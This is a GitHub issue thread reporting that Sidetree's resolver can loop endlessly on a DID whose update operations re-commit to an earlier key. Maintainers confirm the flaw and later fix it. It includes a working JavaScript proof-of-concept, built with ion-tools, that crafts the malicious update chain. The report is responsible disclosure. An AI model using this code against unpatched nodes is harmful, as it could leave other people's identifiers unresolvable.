sidetree icon indicating copy to clipboard operation
sidetree copied to clipboard

Update operations commit-reveal chain may lead to an unresolvable DID

Open shakreiner opened this issue 2 years ago • 4 comments

The current iterations over Update operation using the commit-reveal chain may lead to an infinite loop when trying to resolve a DID. The thing that can cause this state is having a DID with 2 Update operations, where the second operation commits to the first one again. This situation should not be allowed based on the specification (updateCommitment must be a new commitment in every operation), but the code doesn't seem to enforce that.

I successfully created this state locally (by writing operations to the node's local mongoDB) using the following code (it uses ion-tools):

let RawIonSdk = require('@decentralized-identity/ion-sdk');
const Multihash_1 = require("./ion-tools/node_modules/@decentralized-identity/ion-sdk/dist/lib/Multihash");
const ION = require('./ion-tools')

async function createUpdateOp(didSuffix, updateKeys, nextUpdatePublicKey, patches){
    const hashAlgorithmInMultihashCode = ION.SDK.IonSdkConfig.hashAlgorithmInMultihashCode;

    const revealValue = Multihash_1.default.canonicalizeThenHashThenEncode(updateKeys.publicJwk, hashAlgorithmInMultihashCode);
    const nextUpdateCommitmentHash = Multihash_1.default.canonicalizeThenDoubleHashThenEncode(nextUpdatePublicKey, hashAlgorithmInMultihashCode);
    const delta = {
        patches,
        updateCommitment: nextUpdateCommitmentHash
    };
    const deltaHash = Multihash_1.default.canonicalizeThenHashThenEncode(delta, hashAlgorithmInMultihashCode);
    const dataToBeSigned = {
        updateKey: updateKeys.publicJwk,
        deltaHash: deltaHash
    };
    const compactJws = await ION.SDK.LocalSigner.create(updateKeys.privateJwk).sign({ alg: 'ES256K' }, dataToBeSigned);
    return {
        type: 'update',
        didSuffix: didSuffix,
        revealValue,
        delta,
        signedData: compactJws
    };
}

async function main() {

    let didSuffix = 'EiCd1__Gfn_YkYXjWq62HkowAXq9d2YWON_di4BQnqTDbQ'

    let firstUpdateKeys = JSON.parse('{"publicJwk":{[REDACTED]},"privateJwk":{[REDACTED]}')
    let firstPatch = JSON.parse('[{"action":"add-services","services":[{"id":"some-service-2","type":"SomeServiceType","serviceEndpoint":"http://www.meow2.com"}]}]');
    
    let secondUpateKeys = JSON.parse('{"publicJwk":{[REDACTED]},"privateJwk":{[REDACTED]}')
    let secondPatch = JSON.parse('[{"action":"add-services","services":[{"id":"some-service-3","type":"SomeServiceType","serviceEndpoint":"http://www.meow3.com"}]}]');

    let thirdUpdateKeys = JSON.parse('{"publicJwk":{[REDACTED]},"privateJwk":{[REDACTED]}')
    let thirdPatch = JSON.parse('[{"action":"add-services","services":[{"id":"some-service-4","type":"SomeServiceType","serviceEndpoint":"http://www.meow4.com"}]}]');

    // First legit update
    let firstUpdateOp = await createUpdateOp(didSuffix, firstUpdateKeys, secondUpateKeys.publicJwk, firstPatch);
    console.log('---------------------------------------------------------------------------------------------------');
    console.log(`[+] #1 update operation buffer:\n ${JSON.stringify(firstUpdateOp)}\nBinary:\n${Buffer.from(JSON.stringify(firstUpdateOp)).toString('base64')}`)

    // Second update
    let secondUpdateop = await createUpdateOp(didSuffix, secondUpateKeys, thirdUpdateKeys.publicJwk, secondPatch);
    console.log('---------------------------------------------------------------------------------------------------');
    console.log(`[+] #2 update operation buffer:\n ${JSON.stringify(secondUpdateop)}\nBinary:\n${Buffer.from(JSON.stringify(secondUpdateop)).toString('base64')}`)

    // Third update
    let thirdUpdateop = await createUpdateOp(didSuffix, thirdUpdateKeys, secondUpateKeys.publicJwk, thirdPatch);
    console.log('---------------------------------------------------------------------------------------------------');
    console.log(`[+] #3 update operation buffer:\n ${JSON.stringify(thirdUpdateop)}\nBinary:\n${Buffer.from(JSON.stringify(thirdUpdateop)).toString('base64')}`)
  }
  
  function start() {
    return main();
  }
  
  // Call start
  (async() => {  
    await start(); 
  })();

The potentially infinite loop starts here: https://github.com/decentralized-identity/sidetree/blob/c19a1ec7eca4a5d9ff24989b1f37a6ac6eff40f7/lib/core/Resolver.ts#L141

I tested it on ION and it doesn't seem to affect the core service in terms of resource exhaustion or DoS (probably due to node.js internal event queueing).

There are probably many ways of approaching a fix for that issue, such as iterating the operations based on the ledger time, or checking that the ledger time of the newly applied operation is after the previous one

shakreiner avatar Jan 13 '22 15:01 shakreiner

@thehenrytsai definitely seems hi-pri, I will look at this too and see if I can confirm

csuwildcat avatar Jan 13 '22 18:01 csuwildcat

@shakreiner thanks for reporting, definitely sound like a legitimate issue. I will try to reproduce this today and provide a fix.

Adding @xinaxu for awareness.

thehenrytsai avatar Jan 13 '22 18:01 thehenrytsai

Hey, seems like the issue is fixed. Thanks!

If this is indeed the case, you can close this issue

shakreiner avatar Feb 17 '22 09:02 shakreiner

This is indeed fixed, will wait to close until after a new release goes out.

thehenrytsai avatar Feb 17 '22 18:02 thehenrytsai

closed as fixed

decentralgabe avatar Feb 07 '23 18:02 decentralgabe